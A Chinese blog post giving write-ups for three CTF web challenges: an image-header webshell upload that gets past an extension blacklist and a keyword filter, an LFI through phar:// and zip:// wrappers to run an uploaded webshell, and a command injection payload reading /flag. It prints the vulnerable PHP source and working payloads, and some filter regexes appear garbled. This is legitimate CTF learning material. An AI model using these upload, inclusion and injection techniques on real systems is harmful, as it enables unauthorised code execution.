开启掘金成长之旅！这是我参与「掘金日新计划 · 12 月更文挑战」的第22天，点击查看活动详情
WEB难题汇总
1 如果你是黑客你不能攻击我-coffee
这道题过滤了很多东西，最奇怪的一点就是题目所允许的图片都上传不了，不知道后端逻辑过滤了那些东西。
0x1 Burp抓包
上传一个图片木马，bp抓包，将文件后缀改为pht ，（常见的有php5,phtml等，）
文件大小控制20k-100kb
最关键的：只保留图片头，内容用abc123等字符填充
木马用
0x2 查看源代码
1、index.php没啥重要的
pwd=cat ../index.php|base64
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body alink="gold" bgcolor="#E8E8E8">
<div style="LEFT: 45%; MARGIN: -170px 0px 0px -370px; WIDTH: 780px; POSITION: absolute; TOP: 40%; HEIGHT: 380px">
<center>
<table style="WIDTH: 600px" TOP=100% borderColor=#0000cc cellSpacing=0 cellPadding=1 width=1500 align=center bgColor=#000000 border=1>
<tr>
<td>
<center><img src=/image/1.jpg></img></center>
</td>
</tr>
</table>
<form action="upload.php" method="post" enctype="multipart/form-data">
<center><label for="file"><font size="5" color="black" face="ËÎÌå">文件名字:</font></label>
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" /></center>
</form>
</body>
</html>
2、 upload.php关键
<?php
header("Content-Type: text/html;charset=utf-8");
$file_size=$_FILES['file']['size'];
//获取文件大小
$file_name=$_FILES['file']['name'];
//获取文件名字
$file_ext = substr($file_name, strrpos($file_name, '.') + 1);
//获取文件后缀
$file_mime=$_FILES['file']['type'];
//获取文件的mime类型
$file_tmp =$_FILES['file']['tmp_name'];
//获取存储在服务器的文件的临时副本的名称
$tempfile = @fopen($file_tmp, "rb");
$bin = fread($tempfile, 2); //只读2字节
fclose($tempfile);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'] . $strInfo['chars2']);
$fileType = '';
switch ($typeCode){ // 6677:bmp 255216:jpg 7173:gif 13780:png 7790:exe 8297:rar 8075:zip tar:109121 7z:55122 gz 31139
case '255216':
$fileType = 'jpg';
break;
case '7173':
$fileType = 'gif';
break;
case '13780':
$fileType = 'png';
break;
default:
$fileType = 'unknown';
}
/*
读取文件头部信息，判断文件的类型
*/
$filetype1 = array("php", "asp","php2","php4","aspx","html","htm","php3","php5","phtml","pwml","inc","ascx","jsp","cfm","cfc","pl","bat","exe","com","dll","vbs","js","reg","cgi","asis","sh","shtml","shtm","phtm","asa","cer");
$filetype2 = array("jpg","png","gif");
//定义文件的黑名单表单
if (($file_mime == "image/gif") || ($file_mime == "image/jpeg") || ($file_mime == "image/pjpeg"))
{
if(in_array($file_ext,$filetype1,TRUE))
{
echo "请检查上传文件，上传文件不符合要求，请不要尝试进行攻击！";
exit();
//判断文件后缀是否符合要求
}
elseif ($fileType == 'unknown')
{
echo "请检查上传文件，上传文件不符合要求，请不要尝试进行攻击！";
exit();
//判断文件头部是否符合要求
}
else{
#if($file_size>=1024*100&&$file_size<=1024*100)
#echo $file_mime;
if (($file_size < 1024*20) || ($file_size > 1024*100))
{
echo "请检查上传文件大小，上传文件在20kb-100kb，请不要尝试进行攻击！";
exit();
//判断文件大小
}
else
{
if (file_exists($file_tmp))
{
$str = file_get_contents($file_tmp);//将整个文件内容读入到一个字符串中
$list = ['<?','assert','eval','POST','GET'];
for ($i=0; $i < 5; $i++)
{
if(strpos($str,$list[$i])==TRUE)
{
die("Do you hacker ? get awary!");
}
}
#$str = str_replace("\r\n","<br />",$str);
// $str = str_replace("eval","",$str);
// $str = str_replace("<?","",$str);
// $str = str_replace("php","",$str);
//替换危险字符
$myfile = fopen($file_tmp, "w") or die("Unable to open file!");
fwrite($myfile, $str);
fclose($myfile);
//将替换完成的文件写入文件
$path="upload/".time().$file_name;
echo $path;
if(move_uploaded_file($file_tmp,$path))
{
echo "<br />upload success!<br />";;
}
else
echo"文件上传出错！";
}
}
}
}
else
{
echo "请检查上传文件类型，只允许jpg,jpeg,gif格式，请不要尝试进行攻击！";
exit();
}
?>
从源代码第69行可以看到其过滤了<?字符，而这一字符再我上传的jpg图片中也有存在，所以导致了上传正常图片也被拦截的情况。
flag 再../../flag
flag{6cd7fc309e5bc63c}
2 既有上传又有包含
这道题凭良心说不难，是我自己sa，没看源码提示
0x1 上传
打包一个一句话木马成zip，上传时抓包，改后缀为txt
0x2 利用lfi
提示为lfi.txt
访问看到lfi.php源代码
<?php
$file = $_REQUEST['file'];
if ($file != '') {
$inc = sprintf("%s.php", $file); // only php file can be included
include($inc);
}
?>
http://172.17.0.25/lfi.php?file=phar://./files/9b05XTijbTJbzQR6.txt/b
http://172.17.0.25/lfi.php?file=zip://./files/9b05XTijbTJbzQR6.txt%23b
包含木马，yijian连接
ps,学习一下源码
<?php
if(isset($_POST['submit'])){
$upload_name = $_FILES['file']['name'];
$tempfile = $_FILES['file']['tmp_name'];
$upload_ext = trim(get_extension($upload_name));
$savefile = "./files/".RandomString() . '.txt';
if ($upload_ext == 'txt') {
if(move_uploaded_file($tempfile,$savefile)) {
die('Success upload. FileName: '.$savefile);
}
else {
die('Upload failed..');
}
}
else {
die('You are not a txt file..');
}
}
function get_extension($file){
return strtolower(substr($file, strrpos($file, '.')+1));
}
function RandomString()
{
$characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
$randstring = "";
for ($i = 0; $i < 16; $i++) {
$randstring .= $characters[rand(0, strlen($characters)-1)];
}
return $randstring;
}
// make a lfi vulnerability
?>
<html>
</html>
3 命令注入
?comm1=";tac /fl?g"&comm2=
最主要的应该是引号闭合，加;这一点
然后tac没有被过滤，Flag用？单字符替代
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/'|`|\|*|\n|\t|\xA0|\r|{|}|(|)|<|&[^\d]|@|||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/'|"|;|,|`|*|\|\n|\t|\r|\xA0|{|}|(|)|<|&[^\d]|@|||ls|||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
ERROR: cannot open `' (No such file or directory) flag{bdbf9e9d677a93168b6654cde234}
